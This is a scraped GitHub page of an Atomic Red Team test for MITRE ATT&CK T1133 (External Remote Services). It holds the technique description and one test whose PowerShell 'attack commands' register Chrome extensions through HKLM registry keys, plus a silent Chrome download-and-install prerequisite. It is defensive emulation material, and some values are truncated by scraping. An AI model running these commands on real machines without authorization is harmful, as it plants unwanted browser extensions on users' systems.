

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Search

Sign in

Sign up

redcanaryco / atomic-red-team

Public

Notifications

Fork2.8k

Star9.7k

<> Code

Issues6

Pull requests5

Actions

Wiki

Security

Insights

atomic-red-team / atomics / T1133 / T1133.md

CircleCI Atomic Red Team doc...  
Generate docs from job=genera...  
7091fa8 · 2 years ago  
History

Files

f339e7d

Go to file

.github

atomic\_red\_team

atomics

- Indexes
- T1003.001
- T1003.002
- T1003.003
- T1003.004
- T1003.005
- T1003.006
- T1003.007
- T1003.008
- T1003
- T1006

T1133 - External Remote Services

Description from ATT&CK

Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)

Access to [Valid Accounts](#) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging)

Access to remote services may be used as a redundant or persistent access mechanism during an operation.

Access may also be gained through an exposed service that doesn't require authentication. In containerized environments, this may include an exposed Docker API,

atomic-red-team / atomics / T1133 / T1133.md

PreviewCodeBlame

72 lines (45 loc) · 3.74 KB

RawCopyDownload

- [Atomic Test #1 - Running Chrome VPN Extensions via the Registry 2 vpn extension](#)

Atomic Test #1 - Running Chrome VPN Extensions via the Registry 2 vpn extension

Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list





























Supported Platforms: Windows

auto\_generated\_guid: 4c8db261-a58b-42a6-a866-0a294deedde4

Inputs:

Name	Description	Type	
chrome_url	chrome installer	Url	<a href="https://dl.google.com/tag/s/appguid%3D%7B8AC7744738E422%7D%26lang%3Den%26browse">https://dl.google.com/tag/s/appguid%3D%7B8AC7744738E422%7D%26lang%3Den%26browse</a>

Page 1 of 2

- >  T1007
- >  T1010
- >  T1012
- >  T1014
- >  T1016
- >  T1018
- >  T1020
- >  T1021.001
- >  T1021.002
- >  T1021.003
- >  T1021.006
- >  T1027.001
- >  T1027.002
- >  T1027.004
- >  T1027
- >  T1030
- >  T1033
- >  T1036.003
- >  T1036.004
- >  T1036.005
- >  T1036.006
- >  T1036
- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

	download URL		<a href="#">stable-statsdef_1%26installdataindex%3Dempty</a>
extension_id	chrome extension id	String	"fcfhplplocckoneaefokcmbjfbkenj", "fdcgdnkid"

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$extList = #{extension_id}
foreach ($extension in $extList) {
    New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\${extension_id}
    New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\${extension_id}" -Name "Start chrome" -Value "Start chrome"
    Start-Sleep -Seconds 30
    Stop-Process -Name "chrome"
}
```

Cleanup Commands:

```
$extList = #{extension_id}
foreach ($extension in $extList) {
    Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\${extension_id}"
}
```

Dependencies: Run with powershell !

Description: Chrome must be installed

Check Prereq Commands:

```
if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe")) {
}
```

Get Prereq Commands:

```
Invoke-WebRequest -OutFile $env:temp\ChromeStandaloneSetup64.exe #{chrome_installer_url}
Start-Process $env:temp\ChromeStandaloneSetup64.exe /S
```